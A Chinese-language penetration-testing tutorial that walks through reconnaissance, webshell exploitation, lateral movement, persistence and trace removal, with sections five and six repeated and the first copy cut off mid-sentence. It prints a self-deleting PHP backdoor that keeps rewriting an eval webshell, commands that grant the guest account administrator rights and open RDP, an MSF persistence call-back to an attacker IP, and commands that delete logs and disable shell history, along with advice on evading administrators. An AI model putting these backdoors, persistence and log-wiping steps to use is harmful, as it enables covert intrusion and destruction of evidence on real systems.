一 确定目标
渗透测试分为 白盒测试和 黑盒测试
- 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
- 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透
黑盒测试,我们只知道该网站的URL
一般来说,渗透测试的基本流程如下:
- 确定目标
- 信息收集
- 漏洞探测
- 漏洞利用getshell
- 内网转发
- 内网渗透
- 痕迹清除
- 撰写渗透测试报告
二 信息收集
1.主机扫描
Nmap:一款功能强大的网络扫描和主机检测工具,可以用于收集信息、枚举、漏洞探测和安全扫描。
Wireshark:一款抓包和分析网络流量的工具,可以用于监控和调试网络通信。
Goby:一款新型的漏洞扫描平台,可以快速发现并利用各种漏洞,还可以联动其他工具如Xray和MSF。
2.端口扫描
22——>ssh弱口令
80——>HTTP服务
873——>rsync 未授权访问漏洞
3306——>mysql弱口令
6379——>redis未授权访问漏洞
端口扫描工具有nmap、nikto
在kali中,你可以使用一些命令来查看某个端口是否开放,例如:
netstat -lnt:查看当前kali开放的端口。
lsof -i:直接将开放的端口输出。
nmap:扫描目标主机上开放的端口
3.网站敏感目录和文件
探测目标网站后台目录的工具有: wwwscan 、御剑 、dirsearch
扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏
- 后台目录:弱口令,万能密码,爆破
- 安装包:获取数据库信息,甚至是网站源码
- 上传目录:截断、上传图片马等
- mysql管理接口:弱口令、爆破,万能密码,然后脱裤,甚至是拿到shell
- 安装页面 :可以二次安装进而绕过
- phpinfo:会把你配置的各种信息暴露出来
- 编辑器:fck、ke、等
- iis短文件利用:条件比较苛刻 windows、apache等
robots.txt 文件
指定网站中不想被robot访问的目录。这样,我们网站的部分或全部内容就可以不被搜索引擎收录了,或者让搜索引擎只收录指定的内容。
4.旁站和C段扫描
旁站和C段扫描是两种信息收集的方法,用于寻找目标网站或服务器的其他可能存在漏洞的网站或服务器。
旁站指的是和目标网站在同一台服务器上的其他网站1。如果目标网站没有漏洞,可以先攻击旁站,然后提权拿到服务器权限,再攻击目标网站2。常用的旁站查询工具有御剑、bing.com等2。
C段指的是和目标服务器IP处在同一个C段的其他服务器。例如,如果目标服务器IP是192.168.1.100,那么它所在的C段就是192.168.1.*1。找到C段内的主机,可以利用它们作为跳板,攻击目标主机。常用的C段扫描工具有Nmap、Masscan等。
5.网站漏洞扫描
网站漏洞扫描是一种检测网站是否存在安全漏洞的方法,可以通过发送Payload进行漏洞探测,或者通过模拟黑客的攻击手法进行攻击性的安全漏洞扫描。常用的网站漏洞扫描工具有Acunetix Web Vulnerability Scanner(AWVS)、Nikto、Nmap等。
6.网站指纹识别
网站指纹识别是一种通过观察流量跟踪来识别网络浏览客户端的行为(特别是她正在访问的网页)的过程。网站指纹识别可以通过以下几种方式进行:特定文件的MD5、正常页面或错误网页中包含的关键字、请求头信息的关键字匹配、部分URL中包含的关键字、开发语言的识别等。常用的网站指纹识别工具有ZoomEye、WhatWeb等。
7.公司敏感信息网上搜集
8.域名信息的收集
域名信息收集是指通过各种方法获取目标网站或主机的域名、子域名、IP地址等信息,以便进行进一步的渗透测试。域名信息收集的方法有以下几种:
爆破:使用工具如dnsmap对目标域名进行字典攻击,尝试发现子域名。
搜索引擎:使用工具如theharvester或者直接在搜索引擎中输入相关关键词,利用搜索引擎的索引功能查找子域名。
域传送:使用工具如fierce或者dig对目标域名进行DNS区域传送请求,如果目标服务器配置不当,可能会泄露所有的子域名。
Whois查询:使用网站或者工具如whois对目标域名进行Whois查询,可以获取到注册人、注册商、注册时间等信息。
判断域名对应的IP:首先,我们要判断该域名是否存在CDN的情况,我们可以去在线CDN查询网站: 多个地点Ping服务器,网站测速 - 站长工具 。如果查询出的ip数量大于一个的话,则说明该ip地址不是真实的服务器地址。以我的经验来看,如果是2个或者3个,并且这几个地址是同一地区的不同运营商的话,则很有可能这几个地址是服务器的出口地址,该服务器在内网中,通过不同运营商NAT映射供互联网访问,同时采用几个不同的运营商可以负载均衡和热备份。如果是多个ip地址,并且这些ip地址分布在不同地区的话,则基本上可以断定就是采用了CDN了。
三 漏洞探测
- SQL注入
- XSS跨站脚本
- CSRF跨站请求伪造
- XXE漏洞
- SSRF服务端请求伪造漏洞
- 文件包含漏洞
- 文件上传漏洞
- 文件解析漏洞
- 远程代码执行漏洞
- CORS跨域资源共享漏洞
- 越权访问漏洞
- 目录浏览漏洞和任意文件读取/下载漏洞
- struts2漏洞
- JAVA反序列化漏洞
网站漏洞扫描工具
- AWVS
- AppScan
- Owasp-Zap
- Nessus
四 漏洞利用
不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:
SQL注入 ——> Sqlmap
XSS跨站脚本——> Beef-XSS
抓包改包工具——> Burpsuite工具 、 Fidder抓包软件
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马
但是,获得了webshell后,一般权限很低,所以我们需要提权,
可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马。
也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用。
也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权。
五 内网转发
如果我们通过Webshell拿到了网站的权限,想要进一步获取该主机的信息,我们可以把Webshell换成MSF的shell。我们只需要生成一个木马,在菜刀里执行它,就能得到一个MSF类型的shell。
如果我们还想探测内网其他主机的信息,就需要用到内网转发了。因为我们不能直接和内网主机通信,所以要借助已经拿到权限的web服务器和内网主机进行交互。
六 内网横向渗透
当我们拿下外网服务器后,进入系统后,要尽量从该服务器上找到有用的信息。
对于windows系统,我们应该多翻翻文件夹,可能会有意外收获。很多人习惯把账号密码等容易忘记的东西存放在记事本里,或者是桌面上。我们还可以查找数据库连接文件,看看数据库连接账号密码等敏感信息。当我们得到了windows系统的账号密码,或者是自己创建了新用户后,为了不被管理员发现和不影响服务器正常运行。我们尽量不要用远程桌面登录。因为用远程桌面动静太大,如果管理员也在登录时,你用远程桌面登录会把他挤下去,而你也会很快被管理员踢出去。对于非常需要远程桌面登录的情况下,我们尽量不要新建一个用户来登录。我们可以激活 guest 用户,并把它加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以看看其他用户桌面上和其他文件夹里有哪些软件,我们要找的目标包括以下几种。
FTP相关软件 数据库相关软件 打开浏览器查看历史记录、是否保存有用户密码、利用工具查看浏览器保存密码 利用从该主机上找到的账号密码做一个字典,在对内网其他机器进行爆破时可能是同一套密码。
net user guest /active:yes #激活guest用户 net localgroup administrators guest /add #将guest用户添加到 net user guest 密码 #更改guest用户密码 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
对于Linux系统,我们可以查看开放端口、运行服务、与其连接内网主机。查看文件夹、查找数据库连接密码等。总之就是多收集一些账号密码,在内网爆破时非常有用。
在建立了隧道能通内网后,首先要做的就是对内网进行资产发现了。但是判断内网存活网段是个大问题。内网可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要用扫描器来探测了。通过代理进行扫描不建议使用nmap。如果在本地通过代理扫描,并且能使用图形界面话,则可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner 等工具来扫描。但是注意线程调低点儿以免代理崩溃了。 如果使用命令行
五 内网转发
如果我们通过Webshell拿到了网站的权限,想要进一步获取该主机的信息,我们可以把Webshell换成MSF的shell。我们只需要生成一个木马,在菜刀里执行它,就能得到一个MSF类型的shell。 如果我们还想探测内网其他主机的信息,就需要用到内网转发了。因为我们不能直接和内网主机通信,所以要借助已经拿到权限的web服务器和内网主机进行交互。
六 内网横向渗透
当我们拿下外网服务器后,进入系统后,要尽量从该服务器上找到有用的信息。
对于windows系统,我们应该多翻翻文件夹,可能会有意外收获。很多人习惯把账号密码等容易忘记的东西存放在记事本里,或者是桌面上。我们还可以查找数据库连接文件,看看数据库连接账号密码等敏感信息。
当我们得到了windows系统的账号密码,或者是自己创建了新用户后,为了不被管理员发现和不影响服务器正常运行。我们尽量不要用远程桌面登录。因为用远程桌面动静太大,如果管理员也在登录时,你用远程桌面登录会把他挤下去,而你也会很快被管理员踢出去。对于非常需要远程桌面登录的情况下,我们尽量不要新建一个用户来登录。
我们可以激活 guest 用户,并把它加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以看看其他用户桌面上和其他文件夹里有哪些软件,我们要找的目标包括以下几种。
1.FTP相关软件 数据库相关软件 打开浏览器查看历史记录、是否保存有用户密码、利用工具查看浏览器保存密码 利用从该主机上找到的账号密码做一个字典,在对内网其他机器进行爆破时可能是同一套密码。
net user guest /active:yes #激活guest用户
net localgroup administrators guest /add #将guest用户添加到
net user guest 密码 #更改guest用户密码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
对于Linux系统,我们可以查看开放端口、运行服务、与其连接内网主机。查看文件夹、查找数据库连接密码等。总之就是多收集一些账号密码,在内网爆破时非常有用。 在建立了隧道能通内网后,首先要做的就是对内网进行资产发现了。但是判断内网存活网段是个大问题。内网可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要用扫描器来探测了。通过代理进行扫描不建议使用nmap。
如果在本地通过代理扫描,并且能使用图形界面话,则可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner 等工具来扫描。但是注意线程调低点儿以免代理崩溃了。
如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高
权限维持
在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。
Web后门
1:隐藏后门文件(将文件设置为隐藏)
2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。
<?php
set_time_limit(0);//程序执行时间
ignore_user_abort(1);//关掉终端后脚本仍然运行
unlink(__FILE__);//文件完整名
while(1){
file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
$b=array_keys($a)[0];
eval($b);?>');
sleep(5);
}
?>
3: 404页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被D盾等工具检测到
Windows系统
1:建立隐藏用户,在用户名后加 $
2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控
3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现
#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
run persistence -X -i 5 -p 8888 -r 192.168.10.27
#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。
5:shift后门
6:远程桌面会话劫持
Linux系统
1:SSH后门
2:crontab定时任务
3:SSH公钥
4:创建SUID=0的用户
七 痕迹清除
当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。
最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。
Windows系统
1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹
2:如果3389远程登录过,需要清除mstsc痕迹
3:执行命令清除日志:
del %WINDR%\* .log /a/s/q/f
4:如果是web应用,找到web日志文件,删除
Linux系统
1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令
export HISTFILE=/dev/null export HISTSIZE=0
2:删除 /var/log 目录下的日志文件
3:如果是web应用,找到web日志文件,删除
八 撰写渗透测试保告
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险。